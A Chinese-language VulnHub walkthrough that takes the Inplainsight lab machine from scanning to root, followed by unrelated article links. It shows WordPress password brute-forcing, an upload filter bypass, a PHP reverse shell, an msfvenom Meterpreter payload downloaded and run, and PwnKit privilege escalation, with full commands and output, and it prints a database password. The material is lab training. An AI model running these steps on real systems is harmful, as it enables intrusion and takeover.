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Vulnhub之Inplainsight靶機詳細測驗程序及經驗教訓

2023-04-17 07:38:45 其他

Inplainsight

識別目標主機IP地址

─(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                        
                                                                                                                            
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:05      1      60  Unknown vendor                                                           
 192.168.56.100  08:00:27:86:38:75      1      60  PCS Systemtechnik GmbH                                                   
 192.168.56.254  08:00:27:f9:29:62      1      60  PCS Systemtechnik GmbH

利用Kali Linux的netdiscover工具識別目標主機的IP地址為192.168.56.254

NMAP掃描

┌──(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.254 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-15 20:38 EDT
Nmap scan report for kb.final (192.168.56.254)
Host is up (0.00017s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp           306 Nov 22  2019 todo.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.56.206
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 392d3630aaac5d1601082c5fc56717b4 (RSA)
|   256 b021a7430c928570ff57c6f937dfe5a2 (ECDSA)
|_  256 7399d582878c0abc3d1e8daab169aa35 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:F9:29:62 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.41 seconds

NMAP掃描結果表明目標主機有3個開放埠：21（ftp)、22(ssh)、80(http)

獲得Shell

┌──(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ ftp 192.168.56.254
Connected to 192.168.56.254.
220 IPS Corp
Name (192.168.56.254:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -alh
229 Entering Extended Passive Mode (|||47934|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Nov 22  2019 .
drwxr-xr-x    2 ftp      ftp          4096 Nov 22  2019 ..
-rw-r--r--    1 ftp      ftp           306 Nov 22  2019 todo.txt
226 Directory send OK.
ftp> get todo.txt
local: todo.txt remote: todo.txt
229 Entering Extended Passive Mode (|||24332|)
150 Opening BINARY mode data connection for todo.txt (306 bytes).
100% |********************************************************************************|   306      410.47 KiB/s    00:00 ETA
226 Transfer complete.
306 bytes received in 00:00 (260.98 KiB/s)


──(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ cat todo.txt      
mike - please get ride of that worthless wordpress instance! it's a security ris
k.  if you have privilege issues, please ask joe for assitance.

joe - stop leaving backdoors on the system or your access will be removed! y
our rabiit holes aren't enough for these elite cyber hacking types.

- boss person

  1. 用戶：mike, joe

  2. 可能有backdoor檔案

  3. 目標站點是wordpress?

──(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ gobuster dir -u http://192.168.56.254 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.js,.html,.txt,.sh
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.254
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              php,js,html,txt,sh
[+] Timeout:                 10s
===============================================================
2023/04/15 20:56:47 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/index.html           (Status: 200) [Size: 10918]
/info.php             (Status: 200) [Size: 84027]
/wordpress            (Status: 301) [Size: 320] [--> http://192.168.56.254/wordpress/]
/.php                 (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/server-status        (Status: 403) [Size: 279]
Progress: 1319837 / 1323366 (99.73%)===============================================================
2023/04/15 20:59:29 Finished
==========================================================

Gobuster工具識別出目錄/wordpress，訪問該目錄，發現頁面顯示不完整，查看頁面源代碼，可知需要添加主機名到/etc/hosts檔案：inplainsight

┌──(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ sudo vim /etc/hosts                                        
[sudo] password for kali: 
                                                                                                                              
┌──(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
192.168.56.254  inplainsight


──(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ wpscan --url http://192.168.56.254/wordpress/ -e u,p                                        
________________________________________________________
i] User(s) Identified:

[+] bossperson
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

wpscan工具識別出用戶名bossperson,看是否可以破解出密碼

──(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ wpscan --url http://192.168.56.254/wordpress/ -U bossperson -P /usr/share/wordlists/rockyou.txt

運行了15分鐘，仍然沒有破解出密碼，暫時放棄這個方向，

接下來看能否掃描出有漏洞的插件？

(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ wpscan --url http://192.168.56.254/wordpress/ --plugins-detection mixed

沒有識別出有漏洞的插件，

回到默認頁面，注意到：



This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed at this site is working properly. You should replace this file (located at /var/www/html/index.htnl) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means that the site is currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

存在一個檔案/var/www/html/index.htnl

擴展名很奇怪，訪問該頁面

里面有個影片圖片，點擊一下，就跳轉到另一個頁面，可以上傳檔案

但是當上傳shell.php時，回傳錯誤：File is not an image.

用burpsuite攔截請求，看能否通過修改application-type來繞過

在Burpsuite修改應用型別為image/jpeg，未能成功

擋在shell.php頭部增加一行：GIF89a

此時回傳：File is an image - image/gif.此時頁面源代碼有注釋：


<!--c28tZGV2LXdvcmRwcmVzcw==-->
</body></html>

對其進行解碼：

┌──(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ echo 'c28tZGV2LXdvcmRwcmVzcw==' | base64 -d                  
so-dev-wordpress

這應該是另外一個目錄，這也就與todo檔案中的描述對應起來，因此對該so-dev-wordpress進行掃描

──(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ wpscan --url http://192.168.56.254/so-dev-wordpress -e u,p
[i] User(s) Identified:

[+] mike
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] admin
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

    

(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ wpscan --url http://192.168.56.254/so-dev-wordpress -U mike -P /usr/share/wordlists/rockyou.txt

運行了15分鐘，沒有破解出密碼，

──(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ wpscan --url http://192.168.56.254/so-dev-wordpress --plugins-detection mixed

wpscan工具也沒有掃描出有漏洞的插件，

那看能不能破解出另外一個用戶admin的密碼，在感覺沒啥希望的時候，運行了5分鐘以后得到了密碼：

─(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ wpscan --url http://192.168.56.254/so-dev-wordpress -U admin -P /usr/share/wordlists/rockyou.txt
[!] Valid Combinations Found:
 | Username: admin, Password: admin1

用admin:admin1登錄以后才發現mike是普通用戶，而admin是管理員，很多情況下wpscan工具掃描出的一個用戶是管理員，但是本靶機并非這種情況

將shell.php替換theme editor中的404模板，然后訪問4o4.php檔案得到shell

┌──(kali?kali)-[~/Vulnhub/Inplainsight]
└─$ sudo nc -nlvp 5555                                         
[sudo] password for kali: 
listening on [any] 5555 ...
connect to [192.168.56.206] from (UNKNOWN) [192.168.56.254] 54968
Linux inplainsight 5.3.0-23-generic #25-Ubuntu SMP Tue Nov 12 09:22:33 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 22:30:48 up  1:58,  0 users,  load average: 0.03, 1.09, 1.87
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@inplainsight:/$ cd /home
cd /home
www-data@inplainsight:/home$ ls -alh
ls -alh
total 16K
drwxr-xr-x  4 root root 4.0K Nov 21  2019 .
drwxr-xr-x 19 root root 4.0K Nov 21  2019 ..
drwxr-xr-x  4 joe  joe  4.0K Nov 22  2019 joe
drwxr-xr-x  4 mike mike 4.0K Nov 22  2019 mike
www-data@inplainsight:/home$ cd joe
cd joe
www-data@inplainsight:/home/joe$ ls -alh
ls -alh
total 32K
drwxr-xr-x 4 joe  joe  4.0K Nov 22  2019 .
drwxr-xr-x 4 root root 4.0K Nov 21  2019 ..
lrwxrwxrwx 1 root root    9 Nov 22  2019 .bash_history -> /dev/null
-rw-r--r-- 1 joe  joe   220 May  5  2019 .bash_logout
-rw-r--r-- 1 joe  joe  3.7K May  5  2019 .bashrc
drwx------ 2 joe  joe  4.0K Nov 21  2019 .cache
drwx------ 3 joe  joe  4.0K Nov 21  2019 .gnupg
-rw-r--r-- 1 joe  joe   807 May  5  2019 .profile
-rw-rw---- 1 joe  joe    76 Nov 22  2019 journal
www-data@inplainsight:/home/joe$ cd ..
cd ..
www-data@inplainsight:/home$ ls -lah
ls -lah
total 16K
drwxr-xr-x  4 root root 4.0K Nov 21  2019 .
drwxr-xr-x 19 root root 4.0K Nov 21  2019 ..
drwxr-xr-x  4 joe  joe  4.0K Nov 22  2019 joe
drwxr-xr-x  4 mike mike 4.0K Nov 22  2019 mike
www-data@inplainsight:/home$ cd mike
cd mike
www-data@inplainsight:/home/mike$ ls -alh
ls -alh
total 28K
drwxr-xr-x 4 mike mike 4.0K Nov 22  2019 .
drwxr-xr-x 4 root root 4.0K Nov 21  2019 ..
lrwxrwxrwx 1 root root    9 Nov 22  2019 .bash_history -> /dev/null
-rw-r--r-- 1 mike mike  220 Nov 21  2019 .bash_logout
-rw-r--r-- 1 mike mike 3.7K Nov 21  2019 .bashrc
drwx------ 2 mike mike 4.0K Nov 21  2019 .cache
drwx------ 3 mike mike 4.0K Nov 21  2019 .gnupg
-rw-r--r-- 1 mike mike  807 Nov 21  2019 .profile

提權

www-data@inplainsight:/var/www/html/so-dev-wordpress$ cat wp-config.php
cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'sodevwp' );

/** MySQL database username */
define( 'DB_USER', 'sodevwp' );

/** MySQL database password */
define( 'DB_PASSWORD', 'oZ2R3c2x7dLL6#hJ' );

接下里看能不能得到Meterpreter會話

┌──(kali?kali)-[~/Vulnhub/Inplainsight]
└─$  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.206 LPORT=6666 -f elf -o escalate.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes

將escalate.elf上傳到目標主機/tmp目錄，修改權限，并執行（同時在kali linux啟動msfconsole)

ww-data@inplainsight:/tmp$ wget http://192.168.56.206:8000/escalate.elf
wget http://192.168.56.206:8000/escalate.elf
--2023-04-15 22:40:41--  http://192.168.56.206:8000/escalate.elf
Connecting to 192.168.56.206:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 207 [application/octet-stream]
Saving to: ‘escalate.elf’

escalate.elf        100%[===================>]     207  --.-KB/s    in 0s      

2023-04-15 22:40:41 (80.0 MB/s) - ‘escalate.elf’ saved [207/207]

www-data@inplainsight:/tmp$ chmod +x escalate.elf
chmod +x escalate.elf
www-data@inplainsight:/tmp$ ./escalate.elf
./escalate.elf


msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set LHOST 192.168.56.206
LHOST => 192.168.56.206
msf6 exploit(multi/handler) > set LPORT 6666
LPORT => 6666
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.56.206:6666 
[*] Sending stage (1017704 bytes) to 192.168.56.254
[*] Meterpreter session 1 opened (192.168.56.206:6666 -> 192.168.56.254:50464) at 2023-04-15 22:40:54 -0400

運行Linux suggester尋找是否存在可以用于本地提權的漏洞

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > show options 

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.56.254 - Collecting local exploits for x86/linux...
[*] 192.168.56.254 - 181 exploit checks are being tried...
[+] 192.168.56.254 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 192.168.56.254 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.56.254 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[+] 192.168.56.254 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] Running check method for exploit 56 / 56
[*] 192.168.56.254 - Valid modules for session 1:
============================

 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
 2   exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                      The target appears to be vulnerable.                                                                                                                       
 3   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.                                                                          

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run

[*] Started reverse TCP handler on 192.168.56.206:8888 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.sfhgqnd
[+] The target is vulnerable.
[*] Writing '/tmp/.dmjtawxsqqdj/gfrhamboy/gfrhamboy.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.dmjtawxsqqdj
[*] Sending stage (3045348 bytes) to 192.168.56.254
[+] Deleted /tmp/.dmjtawxsqqdj/gfrhamboy/gfrhamboy.so
[+] Deleted /tmp/.dmjtawxsqqdj/.eorecnkoiqu
[+] Deleted /tmp/.dmjtawxsqqdj
[*] Meterpreter session 2 opened (192.168.56.206:8888 -> 192.168.56.254:52522) at 2023-04-15 22:45:20 -0400

meterpreter > shell
Process 2293 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
cd /root
ls -alh
total 48K
drwx------  5 root root 4.0K Dec  2  2019 .
drwxr-xr-x 19 root root 4.0K Nov 21  2019 ..
lrwxrwxrwx  1 root root    9 Nov 22  2019 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Aug 27  2019 .bashrc
drwx------  2 root root 4.0K Nov 21  2019 .cache
drwx------  3 root root 4.0K Nov 21  2019 .gnupg
-rw-------  1 root root  472 Nov 21  2019 .mysql_history
-rw-r--r--  1 root root  148 Aug 27  2019 .profile
drwxr-xr-x  2 root root 4.0K Nov 22  2019 .vim
-rw-------  1 root root  11K Dec  2  2019 .viminfo
-rw-r--r--  1 root root  408 Nov 22  2019 flag.txt
cat flag.txt

                                          __          
  ____  ____   ____    ________________ _/  |_  ______
_/ ___\/  _ \ /    \  / ___\_  __ \__  \\   __\/  ___/
\  \__(  <_> )   |  \/ /_/  >  | \// __ \|  |  \___ \ 
 \___  >____/|___|  /\___  /|__|  (____  /__| /____  >
     \/           \//_____/            \/          \/ 

easy right? thanks for playing.

feel free to leave feedback with me @bzyo_

成功提權并得到root flag

經驗教訓

  1. 在破解so-dev-wp的wordpress站點用戶密碼時，按照以往的規律，被wpscan工具識別的第一個用戶是管理員，因此就重點破解第一個用戶名的密碼mike，好在在破解第2個用戶admin時，沒有花費太長時間就破解出密碼，

  2. 本靶機的第一個突破點是，默認頁面中有個不尋常的檔案名，然后訪問你該檔案時，需要注意點擊一下圖片，否則會錯過整個滲透的機會

STRIVE FOR PROGRESS,NOT FOR PERFECTION

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    網閘架構一般分為兩種：三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看，三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看，三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統，“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及：虛擬機CentOs下執行 yum -y install lrzsz命令，出現錯誤：鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示：其實很簡單，往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號， sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求，SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生， 2020-08-28 16:18:25 分類專欄： kail 網路安全 linux 文章標簽： linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么？ 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼： #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

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  • 北斗電力時鐘（北斗授時服務器）讓網路資料更精準

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    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub：https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺，后來才有了CTFHub。 感覺不論是網頁UI設計，還是題目質量，賽事跟蹤，工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

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  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解（net user / type /md /rd/ dir /cd /net use copy、批處理 等） 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝，密碼啊破解03Linux常用命令04LAMP 01LINUX windows： win03 8 12 16 19 配置不繁瑣 Linux：redhat,centos(紅帽社區版)，Ubuntu server,suse unix:金融機構，證券，銀 ......

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  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 （POST注入/XSS漏洞上傳）3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題，描述 ......

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    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹：metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包，它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一，它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip：192.168.20.121 靶機ip：192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k，軟體測驗工程師的漲薪史，給我看哭了

    清明節一過，盲猜大家已經無心上班，在數著日子準備過五一，但一想到銀行卡里的余額……瞬間心情就不美麗了。最近，2023年高校畢業生就業調查顯示，本科畢業月平均起薪為5825元。調查一出，便有很多同學表示自己又被平均了。看著這一資料，不免讓人想到前不久中國青年報的一項調查：近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文，所以對學習母語的我們非常不友好 使用網址：https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜，前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜，自動化測驗的需求也越來越高。如今，自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分，它們可以幫助開發人員更快地發現和修復錯誤，提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐：4個DVPP記憶體問題的典型案例解讀

    摘要：由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求（例如，記憶體首地址128位元組對齊），因此需呼叫專用的記憶體申請介面，那么本期就分享幾個關于DVPP記憶體問題的典型案例，并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》，作者：昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊，輔助滲透（埠掃描、登錄密碼爆破、漏洞驗證等） 2、encoders 編碼器模塊，主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手：與相機連接，設定相機引數，采集影像 2) 標定助手：九點標定或是其它的標定，生成標定檔案及內參外參，可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客，先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp)，這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接： https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more

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